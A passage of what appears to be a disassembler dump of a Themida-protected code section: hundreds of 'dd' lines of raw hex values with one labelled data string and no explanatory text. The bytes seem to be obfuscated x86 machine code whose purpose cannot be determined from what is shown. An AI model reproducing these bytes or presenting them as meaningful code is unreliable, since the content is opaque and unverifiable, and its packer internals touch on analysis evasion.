		dd 4244481h, 15h, 0FAC35646h, 12E87Dh, 0DF4E0000h, 7398C45Ah
		dd 556AD4CEh, 31A2C705h, 32781217h, 14E8h, 3DDDD600h, 0E3C92CB4h
		dd 59F2EC95h, 689537D6h, 92254A69h, 0EABF665Dh,	0AD5B5F6Ah
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 36BC357h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0BD8B61C0h, 5E21141h, 880Dh, 7599BB00h
		dd 958B36D6h, 5E20BE9h,	7E9h, 29342900h, 0DE1CB1A6h, 7618D8Bh
		dd 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 4DE28C3h,	5C8E138Bh, 5E9B5h, 86B00000h, 50B2A24Eh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	6DB58958h
		dd 8B05E205h, 0E21781BDh, 81665005h, 5B6D85C7h,	0D79BD83h
		dd 0F0005E2h, 7284h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0FCC9CA3Fh, 0B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 3EB8ABEh, 0BF0F5CA4h, 428D8DDEh, 8B05E24Ch, 6AE1FFF8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F907C350h, 8367D780h, 0E21B55BDh, 840F0005h
		dd 3BCh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	13C35545h, 55BD83ACh, 105E21Bh,	3AD840Fh, 9D230000h
		dd 5E217EDh, 0EB69BB66h, 1B55BD83h, 0F0305E2h, 36086h
		dd 0C1BF6600h, 0BD016067h, 5E22AB1h, 6601C380h,	0BD8BD98Ch
		dd 5E215B9h, 7CD78166h,	4E18063h, 0FC90AFCh, 0DC84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9D8B5217h, 5E20B8Dh,	241D858Bh, 0B70F05E2h, 0A98533DBh
		dd 8905E22Ah, 0E21A2995h, 52509005h, 5250310Fh,	310F5250h
		dd 310F585Ah, 585A585Ah, 14E950h, 1CD80000h, 81B70B37h
		dd 0E84A7AD1h, 836AB267h, 1E0EF0Ah, 8B906E9Ah, 0E9006ADFh
		dd 10h,	8C0CC17h, 41517807h, 7E70D902h,	760A78BAh, 915B8968h
		dd 24348139h, 398E5876h, 68A0Fh, 0BD890000h, 5E2236Dh
		dd 83995FFh, 87BF05E2h,	8921483Dh, 0E5BB9D85h, 76DF8105h
		dd 0E9742D63h, 209h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 8AC35545h, 999D8BE0h,	8B05E226h, 0E22D399Dh
		dd 95858B05h, 6A05E5BBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C754C352h,	10CD591Bh
		dd 1BABB1AFh, 1800C7h, 9AB70000h, 0BB99B58Bh, 858B05E5h
		dd 5E200F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	2CC35141h, 38EF120Ch, 0CBB0BB8Eh, 698D8924h, 8905E218h
		dd 0BD8D0906h, 8B05E216h, 0E2241D85h, 5E905h, 0C6350000h
		dd 89E92941h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 6DDC5CC3h, 999D8B90h, 8B05E22Ah
		dd 0E201859Dh, 8E85005h, 35000000h, 53C812C7h, 6053E6F2h
		dd 0C01F74BEh, 0EE966h,	578D0000h, 0FA4E6EE6h, 0FBC2BC00h
		dd 0EDDF979Dh, 34895B61h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 7AB7D7Bh, 95B5FFA5h
		dd 6A05E5BBh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0E009C353h, 485B589h, 800F05E2h
		dd 6, 0CFD9529h, 466805E2h, 51D7043Fh, 5F575250h, 10E8310Fh
		dd 13000000h, 3D71501Eh, 0C985FC60h, 727453CAh,	5BA9AEA2h
		dd 815B585Ah, 0C4B92404h, 858D291Ah, 5E5BB9Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E3C35343h, 0DB664898h
		dd 0CA1BD89h, 0E99005E2h, 10h, 0B004CD05h, 60EA781Ah, 0B975A2E3h
		dd 3D92C5BCh, 9092B750h, 78E2BF66h, 83995FFh, 6A05E2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 60D63DC3h, 0BE9h, 813DD800h,	0FF06E11Fh, 0D31B8F6h
		dd 1DBF6661h, 6A6111h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 18F866C3h, 0C3338215h, 85C7FC7Ah
		dd 5E21B55h, 3,	0BD8301B7h, 5E5BB9Dh, 3E840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0D9CEC357h, 3FDF1934h, 9958923h, 0E905E21Dh
		dd 2Ch,	0B8F0Fh, 6E90000h, 2A000000h, 0D6B0F049h, 0C3050C8h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	23358D31h
		dd 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0DC8D5CC3h, 12E9h, 44A15400h, 0D287342Fh
		dd 286E785Eh, 80D739E1h, 8B68B082h, 0E23019BDh,	55BD8305h
		dd 305E21Bh, 3C1850Fh, 0E3800000h, 0BD83F536h, 5E5BB9Dh
		dd 0B0840F00h, 81000003h, 4AF2B5EBh, 9DB5FF28h,	0E905E5BBh
		dd 14h,	0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h, 232FC9D0h
		dd 172D95FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BBCDF9C3h, 5EED84CEh, 0BB91B58Bh
		dd 0E85605E5h, 5, 1D602458h, 0C75B5B2Dh, 1000106h, 71858900h
		dd 9605E201h, 13E857h, 54EE0000h, 7B759478h, 0C95CA2C8h
		dd 686906B3h, 960D29CDh, 5FDF8BDBh, 59BF505Fh, 965F55D7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5FC35040h
		dd 49FF7F9Ch, 93F4A973h, 9DB5FFF5h, 0E805E5BBh,	5, 0CE65EF75h
		dd 0CDBD8BF6h, 5F05E20Ah, 2BD195FFh, 49BF05E2h,	8B48F83Dh
		dd 0E5BB91B5h, 9D9D8905h, 8B05E223h, 0E210DD85h, 0C9958905h
		dd 8905E222h, 0C486h, 0D98B6600h, 0BE9958Bh, 0DE8B05E2h
		dd 6A04C283h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 7338C350h, 0CE96Eh, 71F40000h, 5D557219h
		dd 1E191569h, 508922DEh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0E1E1C0BBh, 29BD8BB0h
		dd 0BF05E22Dh, 282A42E0h, 0CE5B858Dh, 9D8905E5h, 5E22AF9h
		dd 8689F7B7h, 0B8h, 0A89BD8Bh, 6A05E2h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0C6C35242h, 0D5CC606h
		dd 9D8B612Bh, 5E210E1h,	0BB9DB5FFh, 6A05E5h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 35BA4DC3h
		dd 14E995FFh, 0B58905E2h, 5E22FA5h, 0FE8B6650h,	0E8243489h
		dd 13h,	0A7E3D3A8h, 122787EFh, 8AEE0C68h, 0ED56FCBBh, 897B9223h
		dd 0E22685B5h, 8A0F5F05h, 4, 7B77BB66h,	0BB9DB5FFh, 6A05E5h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0DA63E6C3h, 0D31AAD7Fh, 0FB8B85D5h, 32EDBD89h, 95FF05E2h
		dd 5E22D21h, 7C6818BFh,	89BD8350h, 5E200h, 1E840Fh, 0B5890000h
		dd 5E209D1h, 8840Fh, 8C0F0000h,	2, 8B505F56h, 243489D8h
		dd 569ABB66h, 0BB9DB5FFh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 29BDBEC3h, 0DD0CCD9Dh
		dd 41595FFh, 850105E2h,	5E218E1h, 0BB9DB5FFh, 958905E5h
		dd 5E22225h, 0A5995FFh,	6A05E2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0F126CC3h, 0D840F2Eh
		dd 60000000h, 0F515F681h, 0C8B806EDh, 610101F5h, 24CDBD83h
		dd 0F0205E2h, 9184h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 9D700EBDh, 8D31100Eh
		dd 5E216ADh, 85B52B60h,	8105E201h, 621EE4D1h, 858B6159h
		dd 5E21F35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	64C35040h, 0E9CB39EDh, 0Ch, 0E6481895h,	17BCA309h
		dd 0BB6052F7h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 7808C351h, 1E718D31h
		dd 85C705E2h, 5E20CF9h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EEC35747h
		dd 67F6049Bh, 0E9D509E0h, 0FFFFF3E0h, 8E9h, 69185C00h
		dd 0D619DDDAh, 0FC18BF7h, 80h, 91858D00h, 8B05E20Eh, 0E201099Dh
		dd 66509005h, 6090FA8Bh, 8A5E5160h, 6A6161D9h, 9D8B5100h
		dd 5E21B9Dh, 0BB006A5Fh, 606B9901h, 0FCB6858Dh,	9D8B05E6h
		dd 5E21709h, 8B05C083h,	0FB8B66F8h, 0E8516090h,	8, 4CB9E559h
		dd 0AAB2A790h, 5AB75F59h, 0BB665061h, 6A901AF8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0B293C352h, 183F79Eh, 0C60D59DBh, 2649BD23h,	6A05E2h
		dd 0BD8BF1B7h, 5E232FDh, 870F006Ah, 6, 775BD89h, 95FF05E2h
		dd 5E21E2Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	6C35242h, 0F955CEEh, 0CD61D6EBh, 9D808D8Dh, 0BD2B05E5h
		dd 5E200E5h, 9D8BD1FFh,	5E20ACDh, 0B9BD83h, 0F0105E2h
		dd 7485h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 48E7A7ABh, 26A6FB7h, 48950F5h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8C0FC5D0h, 3, 0FFF88B66h, 0E214E995h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 428156h, 0D80E934h, 0E80000h, 5D000000h, 0FCC0ED81h
		dd 6A05E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0CA94F7C3h, 7D0E20B0h, 3A393C0h, 0E211A19Dh
		dd 7E905h, 8C2A0000h, 8071DD42h, 53006A9Ch, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 906A21E4h
		dd 0FA8BC635h, 8E9E858Dh, 6A05E5h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 37E483C3h, 0DEFF5EC3h
		dd 0E990F88Bh, 7, 34431400h, 5012C8CBh,	0F890F88Bh, 0A1BD89h
		dd 0FF6405E2h, 35h, 899D8B00h, 6405E230h, 2589h, 0BB660000h
		dd 85FFE65Eh, 5E22329h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0DDC35343h, 0C43DAD88h, 0DA48FCF5h, 0EFBB66F6h
		dd 80FF6A69h, 0BD03D0CBh, 5E22451h, 2A79B5FFh, 6A05E2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 43AA2AC3h, 21AB4772h, 189D95FFh, 0FFE905E2h,	60000000h
		dd 0A2CFBE66h, 31958B60h, 6005E223h, 0B0616161h, 0C1B58900h
		dd 0E605E20Ch, 0F9BD8B70h, 0E405E215h, 3CF98B71h, 0D3830F61h
		dd 66000000h, 0F17E3BBh, 0BAF5C8B6h, 6,	8E9h, 0A4BB9200h
		dd 55C60194h, 0B7C18B49h, 4E8C148h, 799D8Bh, 0F76605E2h
		dd 0C82BFCE2h, 8BF9BF0Fh, 359D33D1h, 8B05E208h,	0E201919Dh
		dd 90E905h, 858B0000h, 5F4C4C44h, 10C58D89h, 0B58905E2h
		dd 5E21529h, 6607C083h,	83EDBBBFh, 8D8900C0h, 5E20FC1h
		dd 830FD03Bh, 13h, 5FE9D1B7h, 0F000000h, 685h, 919D8900h
		dd 8B05E219h, 0FFFFFF8Dh, 0C78166FFh, 0E1837203h, 3F840F01h
		dd 0E9000000h, 7, 0F363F595h, 834B3A79h, 0FFFFFFA5h, 0BE9FEFFh
		dd 0B4000000h, 5A9B54FFh, 52662108h, 89603B79h,	0E20E31B5h
		dd 0B5315105h, 5E20485h, 9589615Eh, 5F4C4C44h, 0E9F5h
		dd 0B58D0000h, 5E6735Ch, 226D9D8Bh, 6A05E2h, 2F959D89h
		dd 0BD8B05E2h, 5E2211Dh, 0AB995FFh, 6A05E2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0CAB5DAC3h
		dd 893D0FF7h, 0E2081D8Dh, 10D4B905h, 0E1830000h, 79BD01FCh
		dd 0FC05E21Eh, 0B80EDF80h, 0
		dd 2AD1BD89h, 0D22B05E2h, 0AD0DD380h, 0E8D1C233h, 0E983D003h
		dd 0B7F47504h, 50006A32h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 6757D411h, 0AA48EC4Bh
		dd 0D84B379h, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 7C35646h, 31198501h, 958B05E2h, 5E20BE9h
		dd 48F0Fh, 0BB660000h, 8D8BE49Ah, 5E20761h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8B63320Ch
		dd 0E21A29BDh, 0DABF0F05h, 506BDB80h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 34E42269h
		dd 13E83Ah, 912D0000h, 0C8AD15C5h, 0E0AA49B4h, 74877672h
		dd 9398E4D6h, 0E5BD8BBBh, 5B05E230h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 76C35040h, 79BD83F5h, 5E20Dh
		dd 8C840Fh, 89560000h, 0E2061DB5h, 0B85F05h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 5C2DC356h, 30F5BD8Bh, 8D8D05E2h, 5E24C42h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6AC35747h
		dd 0F381BB5Bh, 5A241E4Ah, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 4B8B3CC3h, 2F62A5A0h
		dd 9D89EE42h, 5E20F95h,	0AFDBD8Bh, 0BD8305E2h, 5E21B55h
		dd 0C5840F00h, 66000004h, 0FB47CB81h, 1B55BD83h, 0F0105E2h
		dd 4CE84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 544725C1h, 0E2AF2B23h, 83D8B70Fh
		dd 0E21B55BDh, 860F0305h, 465h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 14C35242h, 0A82F884Fh, 0CB81EB7Ah
		dd 3BB9A827h, 6840Fh, 9D8B0000h, 5E20725h, 53006A60h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0F43D9DD9h, 9B258D47h, 0B7D98C66h, 4E18048h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BAC35040h, 0C90ADE8Bh
		dd 17A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BF85AC3h, 0E2241D85h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0AAFA18B7h, 9D8B57F3h, 5E224F1h, 0AD87BF5Bh,	853320B9h
		dd 5E22AA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	60C35040h, 0C5C3B4CAh, 0E914893Fh, 9, 0CBD04FCCh
		dd 28D6D084h, 0CE890B9h, 0FF000000h, 92804791h,	72B00C2Ah
		dd 0E9A774A6h, 6, 219A8212h, 505F57C0h,	90FA8B66h, 5D102CBFh
		dd 66006A78h, 9768DF8Bh, 50E522A4h, 0FF98B52h, 0CE931h
		dd 0DD4D0000h, 0F3E886E2h, 0DBF7666Ch, 585AD7A7h, 68240481h
		dd 0B31AFC5Fh, 3995FF96h, 6A05E208h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D154C357h
		dd 0A16AE8D7h, 8B667902h, 9D8589FEh, 6A05E5BBh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0C0FFC350h, 0BB5A8405h, 0E97931ACh, 0Dh, 70B744E9h
		dd 745CFFECh, 0F145EF55h, 3890FCAh, 0F000000h, 9E9FEB7h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 62B2C355h, 3AA94146h, 9D09F09Bh
		dd 5E21ED9h, 0BB95858Bh, 8ABF05E5h, 8953AEB2h, 0E21EA595h
		dd 1800C705h, 89000000h, 0E21351B5h, 880F05h, 8B000000h
		dd 0E5BB99B5h, 0FE805h,	8F800000h, 0FABE6B5Dh, 5AF5F210h
		dd 94885E62h, 6E845h, 0CC940000h, 5FD18C2Fh, 4B3EB2BFh
		dd 8B5B5F0Fh, 0E200F985h, 9E905h, 36000000h, 72D9E49Dh
		dd 89B53415h, 6870F06h,	2B000000h, 0E224EDBDh, 1D858B05h
		dd 0F05E224h, 38Ch, 0FE8B6600h,	66044689h, 0E9E969BFh
		dd 7, 7AB77EB7h, 50C01BF0h, 0AE860h, 69720000h,	2F9E8DCh
		dd 0B4B24161h, 0E95B6160h, 6, 0C32E7DE4h, 8961BB87h, 6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B3EFB3C3h, 9D8B266Ch, 5E208C1h, 6E9h, 0AF92000h, 0FF73CB3Dh
		dd 0E5BB95B5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0C93F053Dh, 0F262B8Ch
		dd 8166FEB7h, 68DE5BF7h, 0FECD1B7h, 9E8h, 55524A00h, 0ADF0FC3Dh
		dd 0BF6603B5h, 815BF7E9h, 0D2482434h, 6A0FF3h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 82A072C3h, 1809BD09h, 858D05E2h, 5E5BB9Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DAC35747h, 7F571CF8h
		dd 800F4B00h, 6, 7A5BD01h, 665005E2h, 890FF5BFh, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0B0CBBCC3h, 0C6982BBh, 0CB8166B9h, 95FF5F66h, 5E20839h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4BC35545h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 7B650AB1h, 85C7F558h, 5E21B55h, 3, 0BB9DBD83h
		dd 0F0005E5h, 4C84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0F3F16C74h, 0A59A0E27h
		dd 3FE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8BC98064h, 0E213F99Dh, 0C305005h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	7861D381h
		dd 816652FFh, 83E3D1D3h, 0E21B55BDh, 850F0305h,	40Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F3C35343h, 69BB2D78h
		dd 9D31EFCBh, 5E21C0Dh,	0A5BD8B52h, 5B05E22Fh, 0BB9DBD83h
		dd 0F0005E5h, 3D084h, 199D2300h, 0FF05E21Ch, 0E5BB9DB5h
		dd 119D8B05h, 0FF05E22Ch, 0E2172D95h, 0CDB58905h, 8B05E216h
		dd 0E5BB91B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0C8F83675h, 72568B19h
		dd 0BD092BDCh, 5E2250Dh, 106C7h, 6A0001h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6F9F78C3h
		dd 7B67473Eh, 899BAAD2h, 0E20EB1B5h, 68B0F05h, 89000000h
		dd 0E2222995h, 0C24EBB05h, 8B966A42h, 0DBBB50FAh, 965961FDh
		dd 0BB9DB5FFh, 0E38105E5h, 76545CAFh, 2BD195FFh, 6A05E2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0E009A5C3h, 9281069Bh, 0A1BD2361h, 8B05E222h, 0E5BB91B5h
		dd 0BE905h, 7D0D0000h, 7FD4B99Dh, 0B393D0E7h, 0DD858B30h
		dd 8105E210h
		dd 9F490EEFh, 0C4868978h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 624EC357h
		dd 89D8878Ah, 0E23309B5h, 0E9958B05h, 2B05E20Bh, 0E203D99Dh
		dd 4C28305h, 581BD89h, 508905E2h, 67DB8120h, 8D7E50E9h
		dd 0E5CE5B85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 7F7D67E9h, 2657CDD6h
		dd 0DF4DBB66h, 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 163C55C3h, 0C9BD8BC6h
		dd 6A05E205h, 9DB5FF00h, 0F505E5BBh, 2D6DBD8Bh,	95FF05E2h
		dd 5E214E9h, 88B0Fh, 0F510000h,	83h, 60505B00h,	12E9h
		dd 32C59C00h, 5B8161C2h, 67EB8EE8h, 1FD771Fh, 66672F8Dh
		dd 8961F88Bh, 0BF0F2434h, 9DB5FFF8h, 6A05E5BBh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0F038C352h, 8F93E49h, 1FB59D8Bh, 95FF05E2h, 5E22D21h
		dd 68C0Fh, 0BD8B0000h, 5E21A01h, 89BD83h, 0F0005E2h, 3084h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 5021D995h, 52243489h, 6840Fh, 8C0F0000h
		dd 0
		dd 9DB5FF5Bh, 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 81D4C353h, 9EC3A50h
		dd 74D48079h, 0E2F6BF66h, 41595FFh, 9D8B05E2h, 5E20135h
		dd 0BB9DB5FFh, 6A05E5h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8A0F41C3h, 0
		dd 5E9h, 4DA32800h, 95FFE591h, 5E20A59h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 86C35040h, 958947C8h
		dd 5E21435h, 19D58D89h,	0BD8305E2h, 5E224CDh, 0BA840F02h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1628C357h, 0CE9723Ah, 0DE000000h
		dd 0CC25E4D9h, 0F1844AEEh, 8BE53AFBh, 0E21F3585h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0A9B2421h, 0AE8B7h, 421C0000h, 6F8A5A4Dh, 0D701E33h
		dd 3D9D8B51h, 5F05E206h, 0D9BD335Fh, 8B05E200h,	0C6F8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AEC35545h
		dd 0E4AEB742h, 0FCC3AB0h, 0C8Ch, 68D0F00h, 8B000000h, 0E215099Dh
		dd 61BD8B05h, 8B05E201h, 0E20C5D9Dh, 0F985C705h, 5E20Ch
		dd 31000000h, 0E2265195h, 0F383E905h, 8D01FFFFh, 5E223E1h
		dd 7E9C18Bh, 38000000h,	65E419EBh, 858D7655h, 5E20E91h
		dd 0DE9h, 96609700h, 6BFCDE10h,	4B2B1Fh, 0E990A2A7h, 14h
		dd 13DCFAF2h, 214C18C9h, 0C744F902h, 798A748Bh,	0E130B43h
		dd 0BE950h, 95370000h, 254A6968h, 0B2705D92h, 6A908Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0DC5312C3h, 5D1D503Ah, 6830Fh, 85010000h, 5E208CDh
		dd 15F99D8Bh, 6A05E2h, 81D9D8Bh, 6A05E2h, 8D0AE780h, 0E70BBB85h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0B4282B0Eh, 831CE8E9h, 8D8905C0h, 5E22995h
		dd 11E990h, 0B1B20000h,	0ADD80670h, 4C1A1CCDh, 9FB4662Bh
		dd 501315CBh, 8830Fh, 50510000h, 5A310F52h, 6A905B58h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 5175C353h, 7DBAC554h, 27CB81D4h, 6A748156h
		dd 0D2BB6600h, 6A006ACAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F892C353h,	1E2D95FFh
		dd 8B5105E2h, 0E211119Dh, 8D8D5F05h, 5E59D80h, 4EE3CB81h
		dd 0D1FF1234h, 0B34BDDBBh, 0B9BD836Bh, 105E200h, 28850Fh
		dd 0D98B0000h, 8166026Ah, 50982ADFh, 0B3F9BF66h, 1240489h
		dd 0E2230DB5h, 0E995FF05h, 0E905E214h, 6, 13CAE9Fh, 65E9A3DEh
		dd 0E800000Dh, 0
		dd 0C5ED815Dh, 6A05E70Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0DC29C355h,	899201A8h
		dd 0E232D195h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 602B8637h, 6A591EDAh
		dd 858DDA78h, 5E58E9Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 2AC35646h, 3B4D7DBDh,	0B760FE18h, 82D380BCh
		dd 9E990h, 0C2350000h, 0F5600CFAh, 50750940h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0BE6ED6AEh, 34BB1E07h, 6422623Eh, 35FFh, 0FE80000h
		dd 0EE000000h, 516FD868h, 5211528Eh, 0FA5178Ah,	8E9FA7Bh
		dd 9D000000h, 7A55113Fh, 5B962416h, 258964h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 7B33C351h, 3CD4881Eh, 8D31F867h, 5E21BF1h
		dd 232985FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B529AFC3h, 5E210ADh, 6AFF6Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 9DD999C3h, 0BF66F43Dh, 0B5FFE745h, 5E21DC9h,	13E8h
		db 0
a5PCcuQ2R5	db '5$¯ÅcCuÐq½2êR5',0   ; DATA XREF: Themida_:004EEDACo
		dd 766A5761h, 16F58D29h, 0FF5B05E2h, 0E2189D95h, 126E905h
		dd 9D8B0000h, 5E21BFDh,	0E86000B0h, 7, 0A9414662h, 80F09B3Ah
